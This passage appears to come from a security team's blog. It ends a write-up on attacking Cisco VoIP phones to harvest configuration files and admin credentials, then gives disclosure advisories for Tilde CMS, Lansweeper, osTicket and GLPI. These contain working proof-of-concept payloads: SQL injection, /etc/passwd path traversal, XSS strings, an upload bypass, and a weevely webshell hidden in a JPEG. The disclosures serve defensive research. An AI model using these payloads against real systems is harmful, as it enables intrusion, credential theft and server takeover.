We choose the last way. As we have already seen, the Cisco phone first try to use IPv6 address and only after that try DHCP. With a simple Python script we are able to sniff the network and as soon as we intercept a IPv6 packet, we can start our poisoning attack.

This way, we are able to evaesdrop all the registration phase from phone and gateway.

First of all the phones try to obtain various configuration file using TFTP: Trivial File Transfer Protocol allow light client to obtain file, like FTP, but using UDP (port 69). The phone asks to server a particular file named SEPC80084XXXXXX.cnf.xml.sgn. We put XXXXXX for anonymity purpose because the real file name is the mac address of the phone. This files seems to have a standard name: SEP+PHONE_MAC_ADDRESS.cnf.xml.sgn.

With this information we can asks to TFTP server file with that file name trying different MAC. Obviously, brute forcing 6 bytes is not easy but the first three is fixed (OUI Cisco) so we only need to try the other three. After that, we perform a little search for this vulnerability and we found an old vulnerability on Exploit DB where a gateway is enumerated on its TFTP port to find configuration files for each phone.

This files contains various configuration information about the phone as we can see in figure include the IP address and the name on the phone.

We want to see what the phone do if the TFTP server does not responde: we repeat the same attack as before but, this time, we trunk every TFTP packet. We expect this attack cause DoS on the phone because it can not obtain its configuration file.

Contrarly as we expected, after few packets the phone tries to obtain these files using HTTP protocol directly to port 6970. This way, also if the well known vulnerability before is fixed, an attacker can obtain the same information using a different service. Moreover, the communication is in plain text (HTTP) and can be easily read by the attacker.

Now we can enumerate all phone connected to the network. On GitHub we can see the python script we use in order to retrieve all configuration files.

During analysis of this file, we found that are present a XML tag named <sshUserId> and <sshPassword>. This fields are empty in the majority of files but we are able to find few files where this fields contains valid credentials.

Another interesting reference is to the file SPDefault.cnf.xml where other useful information is stored. Here we can find where the Unified CM is present. Using the credentials previously collected we can access the administration panel, where we can control phone calls, remote conferences and all activies concerning VoIP traffic. We can delete and create user account and change Call ID too.

We don’t know if this credentials is the same because the system administrator is “lazy” (often people are lazy) or because that password must be the same in order to work and we don’t know why that fields are empty in some files too. For now, we can only say that credentials are used to access in remote to the telephone.

Again, the point to this attack is to highlight how tools and methodologies used in “normal” pen test can be used against non-traditional platform. In this particular case we are able to obtain access to main panel of the Unified CM so the risk of this attack is very high and the technique used are pretty simple.

 

VI. CONCLUSION

Even if the previous vulnerability is de facto patched in TFTP the vulnerability is still present, even in a worse configuration, in HTTP.

Cisco declined the first vulnerability disclosure as a misconfiguration, but leaking admin credentials by default should still be considered as a serious threat to an organization security.

In order to prevent this kind of information leakege you should encrypt all the communications between the Cisco Unified Communications Manager and the phones and add remote authentication on the gateway as explained in the Cisco Security Center.

After this error are fixed, we will continue our research against VoIP network because we think that in the future this technology replace the old telephony technology. The security and privacy is a “must have” and our goal is to find this security flaws before bad guys. Keep calm and Hack the Planet!

Tilde CMS v1.01, Multiple Vulnerabilities

# Authors: Paolo Forte, Raffaele Forte
# Vendor Homepage: http://www.tildenetwork.com
# Version: Tilde CMS v1.0.1
# Tested on: Ubuntu 12.04, PHP 5.3.10

I. INTRODUCTION
Tilde CMS is closed-source content management system created by tildenetwork.com

II. DESCRIPTION
The web application suffers of multiple vulnerabilities.

1. SQL Injection (CVE-2017-11324)

Due to missing escaping of the backtick character, the following query in the source code is vulnerable:

[class.SystemAction.php]

$SQL_string = "SELECT * FROM `form_table_".$id_form."` WHERE ID='$idForm'";
$SQL_oldData = @mysql_query($SQL_string,$this->DB_conn);

The vulnerability can be trigged via a POST request as shown in the following PoC:

POST /actionphp/action.input.php HTTP/1.1
ActionForm=SendForm&TotalQuery=653&TotalCompiled=2&id=1` WHERE SLEEP(5)-- aaa &idForm=1234567890

The resulting query on the server-side will be:

SELECT * FROM `form_table_1` WHERE SLEEP(5)-- aaa ` WHERE ID='1234567890'

For a succesful exploitation, the table “form_table_1” must be valid.

2. Path Traversal (CVE-2017-11325)

The vulnerabilty exists on this method:

GET /actionphp/download.File.php?&file=../../../../../../etc/passwd

3. Arbitrary Files Upload (CVE-2017-11326)

It is possible to bypass the implemented restrictions shown in the following snippet of the code:

$file=$_FILES['file'.$i]['tmp_name'];
if (($file!="")&&($file!="none")) {
    $source_file=$file;
    $file_name=$_FILES['file'.$i]['name'];
    $file_name=str_replace(".php",".txt",$file_name);
    $file_name=str_replace(" ","_",$file_name);
    $file_name=str_replace("+","",$file_name);

A file named “filename.+php” will be renamed in “filename.php”, therefore successfully uploaded.

4. Insecure Direct Object References (CVE-2017-11327)

It is possible to retrieve sensitive resources by using direct references.
A low privileged user can load the PHP resources such as:

    admin/content.php
    admin/content.php?method=ftp_upload

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.

V. SYSTEMS AFFECTED
Tilde CMS v1.01 is vulnerable (probably all previous versions)

VI. VULNERABILITY HISTORY
July 6th, 2017: Vulnerability identification
July 7th, 2017: Vendor notification
July 13th, 2017: CVE-ID reserved

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.

Lansweeper v6.0.0.63, XSS Vulnerability

# Discovered by: Giovanni Cerrato, Giovanni Guido (BackBox Team)
# Vendor Homepage: https://www.lansweeper.com/
# Version: Lansweeper 6.0.0.63

 

I. INTRODUCTION

Lansweeper an Asset Management and Network Inventory Tool (v6.0.0.63 and probably all previous versions) is affected by a XSS vulnerability.

 

II. DESCRIPTION

The application is affected by Cross Site Scripting vulnerabilities.

An attacker can use this vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user’s browser in the context of that user’s session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes. Reference: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

The vulnerable function seems doesn’t require authentication to be executed.

  • URL: hostname/GlobalActions.aspx?action=getthumbnail
  • Vulnerable parameters: username, userdomain, upn
  • Method: POST

 

III. PROOF OF CONCEPT

The vulnerability can be trigged via a POST request as shown in the following PoC’s.

Payload username parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=<script>alert(1)</script>&userdomain=&upn=

Payload userdomain parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=test&userdomain=<script>alert(1)</script>&upn=

Payload upn parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=test&userdomain=&upn=<script>alert(1)</script>

 

IV. BUSINESS IMPACT

An attacker could perform a wide variety of actions such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.

 

V. SYSTEMS AFFECTED

Version 6.0.0.63 is vulnerable (probably all previous versions).

 

VI. REFERENCES

https://www.lansweeper.com/changelog.aspx BUG: #542782
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9292

 

VII. CREDITS

The vulnerability has been discovered by the BackBox Team:

Giovanni Cerrato, giovanni(dot)cerrato(at)aizoon(dot)it
Giovanni Guido, giovanni(dot)guido(at)aizoon(dot)it

 

VIII. ADVISORY TIMELINE

April 21th, 2017: Vulnerability identification
April 21th, 2017: First contact with vendor
April 26th, 2017: Vendor notified
April 26th, 2017: Vendor response; investigating
May 2th, 2017: Vendor says that the vulnerability will be fixed in the new version
May 11th, 2017: Vulnerabilty fixed (Bug 542782)
May 23th, 2017: CVE Requested
May 29th, 2017: CVE received – “CVE-2017-9292”

 

IX. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

osTicket v1.9.12, Multiple Vulnerabilities

# Authors: Giovanni Cerrato, Enrico Cinquini
# Vendor Homepage: http://osticket.com/
# Version: osTicket v.1.9.12

 

I. INTRODUCTION

Last version of osTicket (v1.9.12) is affected by multiple vulnerabilities.

 

II. DESCRIPTION

The web application suffers of multiple vulnerabilities.

1. Upload HTML file

It is possible to upload files attached to a ticket at URL:
https://hostname/upload/open.php

There are some controls to block not allowed file (e.g php,html) but they are only client-side and not server-side so they can be easily bypassed using tool like Burp suite.They will be uploaded and reachable at specific URL like the following example:
https://hostname/file.php?key=qycj1msethqx49ilidrwxrurvebbsipa&expires=1447372800&signature=6ee71ea7dee17cac30a884f4cf823c6734e1115d

This vulnerability could be used for example to perform XSS attack or to upload a fake login page.

2. Missing funcition level access control

It is possible to access to some contents of the web application without authentication. It is allowed to view all ticket attachment only by calling their URLs like following:
https://hostname/file.php?key=qycj1msethqx49ilidrwxrurvebbsipa&expires=1447372800&signature=6ee71ea7dee17cac30a884f4cf823c6734e1115d

This vulnerability combined with unrestricted HTML upload can be used to realize phishing and/or XSS attack via email. To achieve this tasks anyone needs to upload an HTML file containing malicious Javascript or phishing page and then spread the associated URL.

3. Stored Cross Site Scripting

The application is vulnerable to some stored XSS attack.

URL: https://hostname/scp/users.php
Functionality: Add User
Form parameter affected: Internal Notes

URL: https://hostname/scp/orgs.php
Functionality: Add Organization
Form parameter affected: Name, Internal Notes

URL https://hostname/scp/categories.php
Functionality: Add New Category
Form parameter affected: Category Description, Internal Notes

URL https://hostname/scp/departments.php
Functionality: Add New Department
Form parameter affected: Department Signature

URL: https://hostname/scp/teams.php
Functionality: Add New Team
Form parameter affected: Admin Notes, Name

URL: https://hostname/scp/groups.php
Functionality: Add New Group
Form parameter affected: Admin Notes

URL: https://hostname/scp/banlist.php
Functionality: Ban New Email
Form parameter affected: Admin Notes

URL: https://hostname/scp/profile.php
Functionality: Edit profile
Form parameter affected: Signature

A proof of concept can be obtained using the following Javascript code:
<IFRAME onload=alert(1);></IFRAME>

4. Session fixation

The application does not regenerate session id cookie (OSTSESESSID) after authentication so it is prone to session fixation attack. This vulnerability can be used to hijack a valid user session.

 

III. BUSINESS IMPACT

An attacker could upload malicious file, hijack a valid user session, perform XSS or phishing attacks and access to sensible information.

 

IV. SYSTEMS AFFECTED

Version 1.9.12 is vulnerable.

 

V. SOLUTION

It’s necessary to:

  • implement a strong upload filter to prevent the upload of malicious file
  • implement an input validation mechanism to avoid being vulnerable to XSS injection
  • review and correct access control to prevent that unauthenticated users can access to sensible documents

 

VI. ADVISORY TIMELINE

November 10th, 2015: Vulnerability identification
November 17th, 2015: First contact with vendor
November 19th, 2015: Vendor notified
November 25th, 2015: Asking for status update
November 30th, 2015: Vendor response; investigating
December 16th, 2015: Asking for status update
December 18th, 2015: Vendor says that the vulnerabilities will be fixed in the new version
January 11th, 2016: Provided more details to vendor
January 25th, 2016: Asking for status update
February 02th, 2016: Advised vendor public disclosure date will be February 04th
February 02th, 2016: Vendor provides status update(still investigating)
February 04th, 2016: Public disclosure

 

VII. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

GLPI v0.85.5, RCE through file upload filter bypass

# Author: Raffaele Forte
# Vendor Homepage: http://www.glpi-project.org/
# Software Link: https://forge.glpi-project.org/attachments/download/2093/glpi-0.85.5.tar.gz
# Version: GLPI v0.85.5
# Tested on: CentOS release 6.7 (Final), PHP 5.3.3

 

I. INTRODUCTION

GLPI is the Information Resource-Manager with an additional Administration-Interface. You can use it to build up a database with an inventory for your company (computer, software, printers…). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a
database with basic information about your network-topology.

 

II. DESCRIPTION

The application allows users to upgrade their own profile. The user has the possibility to add a new photo as attachment.

The photo that he uploads will be stored into “GLPI_ROOT/files/_pictures/”.

This file, for example named “photo.jpeg”, will be directly accessible through “http://host/GLPI_ROOT/files/_pictures/XXXX.jpeg”, where “XXXX” is an ID automatically generated by the system and visible in the HTML
source code.

Besides, the server does not check the extension of the uploaded file, but only the first bytes within it, that indicates which kind of file is.

Exploiting this flaw, an attacker may upload a tampered jpeg file that contains php code placed at the end of the file, so that, just changing the file extention to “.php”, by default the php code will be interpreted!

To trigger this vulnerability it is necessary to have an account.

This vulnerability is a combination of two issues:

  • predictable uploaded file names and path
  • upload of any kind of file, not limited to images

 

III. PROOF OF CONCEPT

Generate backdoor:

user@backbox:~$ weevely generate pass123 /tmp/bd.php
user@backbox:~$ file /tmp/photo.jpeg 
/tmp/photo.jpeg: JPEG image data, JFIF standard 1.02
user@backbox:~$ cat /tmp/bd.php >> /tmp/photo.jpeg
user@backbox:~$ mv /tmp/photo.jpeg /tmp/photo.php

Upload the new tampered photo in GLPI > Settings

Run terminal to the target:

user@backbox:~$ weevely http://host/GLPI_ROOT/files/_pictures/XXXX.php pass123

 

IV. BUSINESS IMPACT

By uploading a interpretable php file, an attacker may be able to execute arbitrary code on the server.

This flaw may compromise the integrity of the system and/or expose sensitive information.

 

V. SYSTEMS AFFECTED

GLPI Version 0.85.5 is vulnerable (probably all previous versions)

 

VI. VULNERABILITY HISTORY

September 7th, 2015: Vulnerability identification
September 25th, 2015: Vendor notification

 

VII. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.